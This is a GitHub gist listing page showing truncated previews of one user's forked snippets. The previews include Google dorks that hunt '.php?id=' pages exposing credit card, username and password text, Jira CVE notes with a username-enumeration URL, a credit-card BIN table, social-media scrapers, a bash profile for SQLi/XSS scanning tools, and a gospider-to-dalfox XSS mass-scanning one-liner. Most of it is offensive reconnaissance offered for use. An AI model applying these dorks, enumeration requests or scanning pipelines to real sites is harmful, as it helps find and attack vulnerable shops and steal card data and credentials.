Skip to content

Instantly share code, notes, and snippets.

View thezakman's full-sized avatar
🏡
Working from home

Pedro Araujo thezakman

🏡
Working from home
View GitHub Profile
ntext:"bri".php?id= intext:"Credit Card" site:.com
intext:"kartu kredit".php?id= intext:"Username" site:.com
intext:"bayar dengan kartu kredit".php?id= intext:"Password" site:.com
intitle:"bayar dengan kartu kredit".php?id= title:shop intext:"Credit Card" site:.com
intitle:"human".php?id= title:education intext:"Username" site:.com
intitle:"Publications".php?id= title:login intext:"Password" site:.com
intitle:"project".php?id= title:join intext:"Username" site:.com
intitle:"trade".php?id= title:orders intext:"Username" site:.com
@thezakman
thezakman / Jira bug-exploit
Created June 4, 2021 14:46 — forked from 0x240x23elu/Jira bug-exploit
Jira Bug CVE-2019-8449,CVE-2019-8451,CVE-2019-8451,cve-2018-20824,cve-2020-14179,cve-2020-14181,CVE-2018-5230
cve-2019-8449
The /rest/api/latest/groupuserpicker resource in Jira before version 8.4.0 allows remote attackers to enumerate usernames via an information disclosure vulnerability.
https://jira.atlassian.com/browse/JRASERVER-69796
https://victomhost/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true
=====================================================================================================================================
@thezakman
thezakman / bin-cc.md
Created May 28, 2021 19:58 — forked from erikhenrique/bin-cc.md
Bin de cartões de crédito para validação

Validação para cartão de crédito.

Bin e padrões para validação de cartão de crédito.

Bandeira Começa com Máximo de número Máximo de número cvc
Visa 4 13,16 3
Mastercard 5 16 3
#######
# IMPORT PACKAGES
#######
import praw
import pandas as pd
# Acessing the reddit api
#!/usr/bin/python
# -*- coding: utf-8 -*-
import time
import string
tamanho = len('UHJTBCUOZXXTHNIUWANDNR')
alpha = string.ascii_uppercase
achados = []
{
"kind": "Listing",
"data": {
"modhash": "5b1dwrfbn4a9f8c200824114ecc7110ee2baa4d95dc2c106b9",
"dist": 25,
"children": [
{
"kind": "t3",
"data": {
"approved_at_utc": null,
@thezakman
thezakman / hashtag2.py
Created May 14, 2021 02:41 — forked from joaomacalos/hashtag2.py
hashtag2-defapi
# Query
query = "SuperLeague OR #SuperLeague -filter:retweets"
def collect_tweets(query, max_id=None, nitems=100, until=None, result_type='recent'):
if until is not None:
tweets = tweepy.Cursor(api.search,
q=query,
lang="en",
tweet_mode="extended",
# pip install instaloader
import instaloader
L = instaloader.Instaloader()
# Change for the Instagram profile you want the followers list
profile = "TheZakMan"
# Use your credentials to load session
@thezakman
thezakman / .bash_profile
Created March 23, 2021 04:21 — forked from dwisiswant0/.bash_profile
SQLi & XSS Vulnerability Scanner
###
# ▶ go get -u github.com/lc/gau
# ▶ go get -u github.com/tomnomnom/qsreplace
# ▶ go get -u github.com/tomnomnom/hacks/kxss
# ▶ go get -u github.com/hahwul/dalfox
# ▶ git clone https://github.com/stamparm/DSSS
###
gauq() {
@thezakman
thezakman / xss_one_liner.md
Created March 23, 2021 02:57 — forked from cihanmehmet/xss_one_liner.md
xss_one_liner.md
#cat targets_urls.txt                
http://public-firing-range.appspot.com

Command Line

gospider -S targets_urls.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe -o result.txt